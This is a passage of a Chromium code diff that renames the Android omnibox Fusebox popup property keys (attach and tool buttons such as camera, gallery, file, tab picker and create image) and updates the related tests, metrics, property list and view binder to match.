     public void onToggleAttachmentsPopup_clipboardDoesNotHaveImage_hidesClipboardButton() {
         doReturn(false).when(mClipboard).hasImage();
         mMediator.onToggleAttachmentsPopup();
-        assertFalse(mModel.get(FuseboxProperties.POPUP_CLIPBOARD_BUTTON_VISIBLE));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_CLIPBOARD_VISIBLE));
     }
 
     @Test
     public void onToggleAttachmentsPopup_pdfUploadEligible_showsFileButton() {
         doReturn(true).when(mComposeboxQueryControllerBridge).isPdfUploadEligible();
         recreateMediator();
-        assertTrue(mModel.get(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE));
     }
 
     @Test
     public void onToggleAttachmentsPopup_pdfUploadNotEligible_hidesFileButton() {
         doReturn(false).when(mComposeboxQueryControllerBridge).isPdfUploadEligible();
         recreateMediator();
-        assertFalse(mModel.get(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE));
     }
 
     @Test
     @Config(sdk = Build.VERSION_CODES.S_V2)
     public void testGalleryIntent_extraAllowMultiple() {
-        mModel.get(FuseboxProperties.POPUP_GALLERY_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_GALLERY_CLICKED).run();
         verify(mWindowAndroid).showCancelableIntent(mIntentCaptor.capture(), any(), any());
         Intent intent = mIntentCaptor.getValue();
         assertTrue(intent.getBooleanExtra(Intent.EXTRA_ALLOW_MULTIPLE, /* defaultValue= */ false));
@@ -557,7 +562,7 @@
     @Test
     @Config(sdk = Build.VERSION_CODES.TIRAMISU)
     public void testGalleryIntent_extraPickImagesMax() {
-        mModel.get(FuseboxProperties.POPUP_GALLERY_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_GALLERY_CLICKED).run();
         verify(mWindowAndroid).showCancelableIntent(mIntentCaptor.capture(), any(), any());
         Intent intent = mIntentCaptor.getValue();
         assertEquals(
@@ -568,8 +573,8 @@
     @Test
     @Config(sdk = Build.VERSION_CODES.S_V2)
     public void testGalleryIntent_extraAllowMultiple_duringCreateImage() {
-        mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_CLICKED).run();
-        mModel.get(FuseboxProperties.POPUP_GALLERY_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_GALLERY_CLICKED).run();
         verify(mWindowAndroid).showCancelableIntent(mIntentCaptor.capture(), any(), any());
         Intent intent = mIntentCaptor.getValue();
         assertFalse(intent.getBooleanExtra(Intent.EXTRA_ALLOW_MULTIPLE, /* defaultValue= */ true));
@@ -578,8 +583,8 @@
     @Test
     @Config(sdk = Build.VERSION_CODES.TIRAMISU)
     public void testGalleryIntent_extraPickImagesMax_duringCreateImage() {
-        mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_CLICKED).run();
-        mModel.get(FuseboxProperties.POPUP_GALLERY_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_GALLERY_CLICKED).run();
         verify(mWindowAndroid).showCancelableIntent(mIntentCaptor.capture(), any(), any());
         Intent intent = mIntentCaptor.getValue();
         assertEquals(
@@ -588,14 +593,14 @@
 
     @Test
     public void onImagePickerClicked_setsMimeType() {
-        mModel.get(FuseboxProperties.POPUP_GALLERY_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_GALLERY_CLICKED).run();
         verify(mWindowAndroid).showCancelableIntent(mIntentCaptor.capture(), any(), any());
         assertEquals(MimeTypeUtils.IMAGE_ANY_MIME_TYPE, mIntentCaptor.getValue().getType());
     }
 
     @Test
     public void onFilePickerClicked_setsMimeType() {
-        mModel.get(FuseboxProperties.POPUP_FILE_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_CLICKED).run();
         verify(mWindowAndroid).showCancelableIntent(mIntentCaptor.capture(), any(), any());
         assertEquals(MimeTypeUtils.PDF_MIME_TYPE, mIntentCaptor.getValue().getType());
     }
@@ -651,37 +656,37 @@
         doReturn(mRenderWidgetHostView).when(mWebContents).getRenderWidgetHostView();
 
         mModel.get(FuseboxProperties.BUTTON_ADD_CLICKED).run();
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED));
 
-        mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_CLICKED).run();
         assertEquals(1, mAttachments.size());
         mModel.get(FuseboxProperties.BUTTON_ADD_CLICKED).run();
-        assertFalse(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED));
 
         mAttachments.get(0).model.get(FuseboxAttachmentProperties.ON_REMOVE).run();
         assertEquals(0, mAttachments.size());
         mModel.get(FuseboxProperties.BUTTON_ADD_CLICKED).run();
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED));
 
         addAttachment("title", "token1", FuseboxAttachmentType.ATTACHMENT_FILE);
         assertEquals(1, mAttachments.size());
-        assertFalse(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED));
 
         mAttachments.get(0).model.get(FuseboxAttachmentProperties.ON_REMOVE).run();
         assertEquals(0, mAttachments.size());
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED));
 
         addAttachment("title", "token2", FuseboxAttachmentType.ATTACHMENT_IMAGE);
         assertEquals(1, mAttachments.size());
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED));
 
         addAttachment("title", "token3", FuseboxAttachmentType.ATTACHMENT_IMAGE);
         assertEquals(2, mAttachments.size());
-        assertFalse(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED));
 
         mAttachments.get(0).model.get(FuseboxAttachmentProperties.ON_REMOVE).run();
         assertEquals(1, mAttachments.size());
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED));
     }
 
     @Test
@@ -728,7 +733,7 @@
 
     @Test
     public void onTabPickerClicked_launchesTabPickerActivity() {
-        mModel.get(FuseboxProperties.POPUP_TAB_PICKER_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_CLICKED).run();
 
         verify(mPopup).dismiss();
         verify(mWindowAndroid).showCancelableIntent(mIntentCaptor.capture(), any(), any());
@@ -750,7 +755,7 @@
         addTabAttachment(tab1);
         addTabAttachment(tab2);
 
-        mModel.get(FuseboxProperties.POPUP_TAB_PICKER_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_CLICKED).run();
 
         verify(mWindowAndroid).showCancelableIntent(mIntentCaptor.capture(), any(), any());
         Intent intent = mIntentCaptor.getValue();
@@ -771,7 +776,7 @@
         addAttachment("title1", "token1", FuseboxAttachmentType.ATTACHMENT_IMAGE);
         addAttachment("title2", "token2", FuseboxAttachmentType.ATTACHMENT_FILE);
 
-        mModel.get(FuseboxProperties.POPUP_TAB_PICKER_CLICKED).run();
+        mModel.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_CLICKED).run();
 
         verify(mWindowAndroid).showCancelableIntent(mIntentCaptor.capture(), any(), any());
         Intent intent = mIntentCaptor.getValue();
@@ -909,11 +914,11 @@
     @Test
     public void testUpdatePopupButtonEnabledStates_maxAttachmentsReached() {
         mInput.setRequestType(AutocompleteRequestType.SEARCH);
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CAMERA_BUTTON_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_GALLERY_BUTTON_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_TAB_PICKER_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_FILE_BUTTON_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CAMERA_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_GALLERY_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED));
 
         // Add maximum attachments
         for (int i = 0; i < FuseboxAttachmentModelList.MAX_ATTACHMENTS; i++) {
@@ -921,32 +926,32 @@
         }
         assertEquals(0, mAttachments.getRemainingAttachments());
 
-        assertFalse(mModel.get(FuseboxProperties.POPUP_CAMERA_BUTTON_ENABLED));
-        assertFalse(mModel.get(FuseboxProperties.POPUP_GALLERY_BUTTON_ENABLED));
-        assertFalse(mModel.get(FuseboxProperties.POPUP_TAB_PICKER_ENABLED));
-        assertFalse(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED));
-        assertFalse(mModel.get(FuseboxProperties.POPUP_FILE_BUTTON_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_CAMERA_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_GALLERY_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_ENABLED));
 
         // Remove one attachment to free up space
         mAttachments.get(0).model.get(FuseboxAttachmentProperties.ON_REMOVE).run();
         assertTrue(mAttachments.getRemainingAttachments() > 0);
 
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CAMERA_BUTTON_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_GALLERY_BUTTON_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_TAB_PICKER_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_FILE_BUTTON_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CAMERA_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_GALLERY_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED));
     }
 
     @Test
     public void testUpdatePopupButtonEnabledStates_modeChanges() {
         mInput.setRequestType(AutocompleteRequestType.IMAGE_GENERATION);
 
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CAMERA_BUTTON_ENABLED));
-        assertTrue(mModel.get(FuseboxProperties.POPUP_GALLERY_BUTTON_ENABLED));
-        assertFalse(mModel.get(FuseboxProperties.POPUP_TAB_PICKER_ENABLED));
-        assertFalse(mModel.get(FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED));
-        assertFalse(mModel.get(FuseboxProperties.POPUP_FILE_BUTTON_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_CAMERA_ENABLED));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_ATTACH_GALLERY_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_ATTACH_FILE_ENABLED));
     }
 
     @Test
@@ -955,11 +960,11 @@
         doReturn(true).when(mComposeboxQueryControllerBridge).isCreateImagesEligible();
         doReturn(false).when(mProfile).isIncognitoBranded();
         recreateMediator();
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE));
 
         doReturn(false).when(mComposeboxQueryControllerBridge).isCreateImagesEligible();
         recreateMediator();
-        assertFalse(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE));
     }
 
     @Test
@@ -968,10 +973,10 @@
         doReturn(true).when(mComposeboxQueryControllerBridge).isCreateImagesEligible();
         doReturn(true).when(mProfile).isIncognitoBranded();
         recreateMediator();
-        assertFalse(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE));
+        assertFalse(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE));
 
         OmniboxFeatures.sShowImageGenerationButtonInIncognito.setForTesting(true);
         recreateMediator();
-        assertTrue(mModel.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE));
+        assertTrue(mModel.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE));
     }
 }
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMetrics.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMetrics.java
index 23186c2..f8ab9d86 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMetrics.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMetrics.java
@@ -180,11 +180,11 @@
             case FuseboxAttachmentButtonType.TAB_PICKER ->
                     ChromeFeatureList.sChromeItemPickerUi.isEnabled();
             case FuseboxAttachmentButtonType.CURRENT_TAB ->
-                    model.get(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE);
+                    model.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE);
             case FuseboxAttachmentButtonType.CLIPBOARD ->
-                    model.get(FuseboxProperties.POPUP_CLIPBOARD_BUTTON_VISIBLE);
+                    model.get(FuseboxProperties.POPUP_ATTACH_CLIPBOARD_VISIBLE);
             case FuseboxAttachmentButtonType.FILES ->
-                    model.get(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE);
+                    model.get(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE);
             default -> false;
         };
     }
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMetricsTest.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMetricsTest.java
index acb4dac1..bd4741e 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMetricsTest.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxMetricsTest.java
@@ -77,9 +77,9 @@
     @EnableFeatures(ChromeFeatureList.CHROME_ITEM_PICKER_UI)
     public void testNotifyAttachmentsPopupToggled_ShowPopup_AllButtonsVisible() {
 
-        mPropertyModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE, true);
-        mPropertyModel.set(FuseboxProperties.POPUP_CLIPBOARD_BUTTON_VISIBLE, true);
-        mPropertyModel.set(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE, true);
+        mPropertyModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE, true);
+        mPropertyModel.set(FuseboxProperties.POPUP_ATTACH_CLIPBOARD_VISIBLE, true);
+        mPropertyModel.set(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE, true);
 
         var histogramWatcher =
                 HistogramWatcher.newBuilder()
@@ -112,9 +112,9 @@
     @Test
     @DisableFeatures(ChromeFeatureList.CHROME_ITEM_PICKER_UI)
     public void testNotifyAttachmentsPopupToggled_ShowPopup_SomeButtonsHidden() {
-        mPropertyModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE, false);
-        mPropertyModel.set(FuseboxProperties.POPUP_CLIPBOARD_BUTTON_VISIBLE, false);
-        mPropertyModel.set(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE, false);
+        mPropertyModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE, false);
+        mPropertyModel.set(FuseboxProperties.POPUP_ATTACH_CLIPBOARD_VISIBLE, false);
+        mPropertyModel.set(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE, false);
 
         var histogramWatcher =
                 HistogramWatcher.newBuilder()
@@ -171,9 +171,9 @@
     public void testNotifyOmniboxSessionEnded_SessionStarted_Abandon_AttachmentsUsed() {
         FuseboxMetrics.notifyOmniboxSessionStarted();
 
-        mPropertyModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE, true);
-        mPropertyModel.set(FuseboxProperties.POPUP_CLIPBOARD_BUTTON_VISIBLE, true);
-        mPropertyModel.set(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE, true);
+        mPropertyModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE, true);
+        mPropertyModel.set(FuseboxProperties.POPUP_ATTACH_CLIPBOARD_VISIBLE, true);
+        mPropertyModel.set(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE, true);
 
         var histogramWatcher =
                 HistogramWatcher.newBuilder()
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxProperties.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxProperties.java
index 7df100b..4913870 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxProperties.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxProperties.java
@@ -53,86 +53,86 @@
     /** Whether the UI is in compact mode. */
     public static final WritableBooleanPropertyKey COMPACT_UI = new WritableBooleanPropertyKey();
 
+    /** Action to perform when the user clicks the Camera button in the popup. */
+    public static final WritableObjectPropertyKey<Runnable> POPUP_ATTACH_CAMERA_CLICKED =
+            new WritableObjectPropertyKey<>();
+
+    /** Whether the Camera button in the popup is enabled. */
+    public static final WritableBooleanPropertyKey POPUP_ATTACH_CAMERA_ENABLED =
+            new WritableBooleanPropertyKey();
+
+    /** Action to perform when the user clicks the Clipboard button in the popup. */
+    public static final WritableObjectPropertyKey<Runnable> POPUP_ATTACH_CLIPBOARD_CLICKED =
+            new WritableObjectPropertyKey<>();
+
+    /** Whether the Clipboard button in the popup is visible. */
+    public static final WritableBooleanPropertyKey POPUP_ATTACH_CLIPBOARD_VISIBLE =
+            new WritableBooleanPropertyKey();
+
     /** Action to perform when the user clicks the "add current tab" button */
-    public static final WritableObjectPropertyKey<Runnable> CURRENT_TAB_BUTTON_CLICKED =
+    public static final WritableObjectPropertyKey<Runnable> POPUP_ATTACH_CURRENT_TAB_CLICKED =
             new WritableObjectPropertyKey<>();
 
     /**
      * Whether the current tab button is enabled or disabled. Being disabled still leaves it
      * visible, but with a greyed out color and not interactable.
      */
-    public static final WritableBooleanPropertyKey CURRENT_TAB_BUTTON_ENABLED =
+    public static final WritableBooleanPropertyKey POPUP_ATTACH_CURRENT_TAB_ENABLED =
             new WritableBooleanPropertyKey();
 
     /**
      * The favicon of the underlying tab which this button would add. Can be null, in which case a
      * fallback will be used instead.
      */
-    public static final WritableObjectPropertyKey<@Nullable Bitmap> CURRENT_TAB_BUTTON_FAVICON =
-            new WritableObjectPropertyKey<>();
+    public static final WritableObjectPropertyKey<@Nullable Bitmap>
+            POPUP_ATTACH_CURRENT_TAB_FAVICON = new WritableObjectPropertyKey<>();
 
     /** Whether the current tab button is visible. */
-    public static final WritableBooleanPropertyKey CURRENT_TAB_BUTTON_VISIBLE =
-            new WritableBooleanPropertyKey();
-
-    /** Action to perform when the user clicks the AI Mode button in the popup. */
-    public static final WritableObjectPropertyKey<Runnable> POPUP_AI_MODE_CLICKED =
-            new WritableObjectPropertyKey<>();
-
-    /** Whether the Camera button in the popup is enabled. */
-    public static final WritableBooleanPropertyKey POPUP_CAMERA_BUTTON_ENABLED =
-            new WritableBooleanPropertyKey();
-
-    /** Action to perform when the user clicks the Camera button in the popup. */
-    public static final WritableObjectPropertyKey<Runnable> POPUP_CAMERA_CLICKED =
-            new WritableObjectPropertyKey<>();
-
-    /** Whether the Clipboard button in the popup is visible. */
-    public static final WritableBooleanPropertyKey POPUP_CLIPBOARD_BUTTON_VISIBLE =
-            new WritableBooleanPropertyKey();
-
-    /** Action to perform when the user clicks the Clipboard button in the popup. */
-    public static final WritableObjectPropertyKey<Runnable> POPUP_CLIPBOARD_CLICKED =
-            new WritableObjectPropertyKey<>();
-
-    /** Whether the create image button is enabled or disabled. */
-    public static final WritableBooleanPropertyKey POPUP_CREATE_IMAGE_BUTTON_ENABLED =
-            new WritableBooleanPropertyKey();
-
-    /** Whether the create image button in the popup is visible. */
-    public static final WritableBooleanPropertyKey POPUP_CREATE_IMAGE_BUTTON_VISIBLE =
-            new WritableBooleanPropertyKey();
-
-    /** Action to perform when the user clicks the 'Create Image' button in the popup. */
-    public static final WritableObjectPropertyKey<Runnable> POPUP_CREATE_IMAGE_CLICKED =
-            new WritableObjectPropertyKey<>();
-
-    /** Whether the File button in the popup is enabled. */
-    public static final WritableBooleanPropertyKey POPUP_FILE_BUTTON_ENABLED =
-            new WritableBooleanPropertyKey();
-
-    /** Whether the File button in the popup is visible. */
-    public static final WritableBooleanPropertyKey POPUP_FILE_BUTTON_VISIBLE =
+    public static final WritableBooleanPropertyKey POPUP_ATTACH_CURRENT_TAB_VISIBLE =
             new WritableBooleanPropertyKey();
 
     /** Action to perform when the user clicks the File button in the popup. */
-    public static final WritableObjectPropertyKey<Runnable> POPUP_FILE_CLICKED =
+    public static final WritableObjectPropertyKey<Runnable> POPUP_ATTACH_FILE_CLICKED =
             new WritableObjectPropertyKey<>();
 
-    /** Whether the Gallery button in the popup is enabled. */
-    public static final WritableBooleanPropertyKey POPUP_GALLERY_BUTTON_ENABLED =
+    /** Whether the File button in the popup is enabled. */
+    public static final WritableBooleanPropertyKey POPUP_ATTACH_FILE_ENABLED =
+            new WritableBooleanPropertyKey();
+
+    /** Whether the File button in the popup is visible. */
+    public static final WritableBooleanPropertyKey POPUP_ATTACH_FILE_VISIBLE =
             new WritableBooleanPropertyKey();
 
     /** Action to perform when the user clicks the Gallery button in the popup. */
-    public static final WritableObjectPropertyKey<Runnable> POPUP_GALLERY_CLICKED =
+    public static final WritableObjectPropertyKey<Runnable> POPUP_ATTACH_GALLERY_CLICKED =
+            new WritableObjectPropertyKey<>();
+
+    /** Whether the Gallery button in the popup is enabled. */
+    public static final WritableBooleanPropertyKey POPUP_ATTACH_GALLERY_ENABLED =
+            new WritableBooleanPropertyKey();
+
+    /** Action to perform when the user clicks the tab picker button in the popup. */
+    public static final WritableObjectPropertyKey<Runnable> POPUP_ATTACH_TAB_PICKER_CLICKED =
             new WritableObjectPropertyKey<>();
 
     /** Action to perform when the user clicks the tab picker button in the popup. */
-    public static final WritableObjectPropertyKey<Runnable> POPUP_TAB_PICKER_CLICKED =
+    public static final WritableBooleanPropertyKey POPUP_ATTACH_TAB_PICKER_ENABLED =
+            new WritableBooleanPropertyKey();
+
+    /** Action to perform when the user clicks the AI Mode button in the popup. */
+    public static final WritableObjectPropertyKey<Runnable> POPUP_TOOL_AI_MODE_CLICKED =
             new WritableObjectPropertyKey<>();
 
-    /** Action to perform when the user clicks the tab picker button in the popup. */
-    public static final WritableBooleanPropertyKey POPUP_TAB_PICKER_ENABLED =
+    /** Action to perform when the user clicks the 'Create Image' button in the popup. */
+    public static final WritableObjectPropertyKey<Runnable> POPUP_TOOL_CREATE_IMAGE_CLICKED =
+            new WritableObjectPropertyKey<>();
+
+    /** Whether the create image button is enabled or disabled. */
+    public static final WritableBooleanPropertyKey POPUP_TOOL_CREATE_IMAGE_ENABLED =
+            new WritableBooleanPropertyKey();
+
+    /** Whether the create image button in the popup is visible. */
+    public static final WritableBooleanPropertyKey POPUP_TOOL_CREATE_IMAGE_VISIBLE =
             new WritableBooleanPropertyKey();
 
     /** Whether to show the dedicated AIMode button directly in the Fusebox. */
@@ -150,25 +150,25 @@
         BUTTON_ADD_CLICKED,
         COLOR_SCHEME,
         COMPACT_UI,
-        CURRENT_TAB_BUTTON_CLICKED,
-        CURRENT_TAB_BUTTON_ENABLED,
-        CURRENT_TAB_BUTTON_FAVICON,
-        CURRENT_TAB_BUTTON_VISIBLE,
-        POPUP_AI_MODE_CLICKED,
-        POPUP_CAMERA_BUTTON_ENABLED,
-        POPUP_CAMERA_CLICKED,
-        POPUP_CLIPBOARD_BUTTON_VISIBLE,
-        POPUP_CLIPBOARD_CLICKED,
-        POPUP_CREATE_IMAGE_BUTTON_ENABLED,
-        POPUP_CREATE_IMAGE_BUTTON_VISIBLE,
-        POPUP_CREATE_IMAGE_CLICKED,
-        POPUP_FILE_BUTTON_ENABLED,
-        POPUP_FILE_BUTTON_VISIBLE,
-        POPUP_FILE_CLICKED,
-        POPUP_GALLERY_BUTTON_ENABLED,
-        POPUP_GALLERY_CLICKED,
-        POPUP_TAB_PICKER_CLICKED,
-        POPUP_TAB_PICKER_ENABLED,
+        POPUP_ATTACH_CAMERA_CLICKED,
+        POPUP_ATTACH_CAMERA_ENABLED,
+        POPUP_ATTACH_CLIPBOARD_CLICKED,
+        POPUP_ATTACH_CLIPBOARD_VISIBLE,
+        POPUP_ATTACH_CURRENT_TAB_CLICKED,
+        POPUP_ATTACH_CURRENT_TAB_ENABLED,
+        POPUP_ATTACH_CURRENT_TAB_FAVICON,
+        POPUP_ATTACH_CURRENT_TAB_VISIBLE,
+        POPUP_ATTACH_FILE_CLICKED,
+        POPUP_ATTACH_FILE_ENABLED,
+        POPUP_ATTACH_FILE_VISIBLE,
+        POPUP_ATTACH_GALLERY_CLICKED,
+        POPUP_ATTACH_GALLERY_ENABLED,
+        POPUP_ATTACH_TAB_PICKER_CLICKED,
+        POPUP_ATTACH_TAB_PICKER_ENABLED,
+        POPUP_TOOL_AI_MODE_CLICKED,
+        POPUP_TOOL_CREATE_IMAGE_CLICKED,
+        POPUP_TOOL_CREATE_IMAGE_ENABLED,
+        POPUP_TOOL_CREATE_IMAGE_VISIBLE,
         SHOW_DEDICATED_MODE_BUTTON
         // go/keep-sorted end
     };
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxViewBinder.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxViewBinder.java
index d0c3a2f..c2b170a 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxViewBinder.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxViewBinder.java
@@ -97,71 +97,72 @@
             view.popup.mPopupWindow.setBackgroundDrawable(background);
         } else if (propertyKey == FuseboxProperties.COMPACT_UI) {
             reanchorViewsForCompactFusebox(model, view);
-        } else if (propertyKey == FuseboxProperties.CURRENT_TAB_BUTTON_CLICKED) {
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_CAMERA_CLICKED) {
+            view.popup.mCameraButton.setOnClickListener(
+                    v -> model.get(FuseboxProperties.POPUP_ATTACH_CAMERA_CLICKED).run());
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_CAMERA_ENABLED) {
+            view.popup.mCameraButton.setEnabled(
+                    model.get(FuseboxProperties.POPUP_ATTACH_CAMERA_ENABLED));
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_CLIPBOARD_CLICKED) {
+            view.popup.mClipboardButton.setOnClickListener(
+                    v -> model.get(FuseboxProperties.POPUP_ATTACH_CLIPBOARD_CLICKED).run());
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_CLIPBOARD_VISIBLE) {
+            view.popup.mClipboardButton.setVisibility(
+                    model.get(FuseboxProperties.POPUP_ATTACH_CLIPBOARD_VISIBLE)
+                            ? View.VISIBLE
+                            : View.GONE);
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_CLICKED) {
             view.popup.mAddCurrentTab.setOnClickListener(
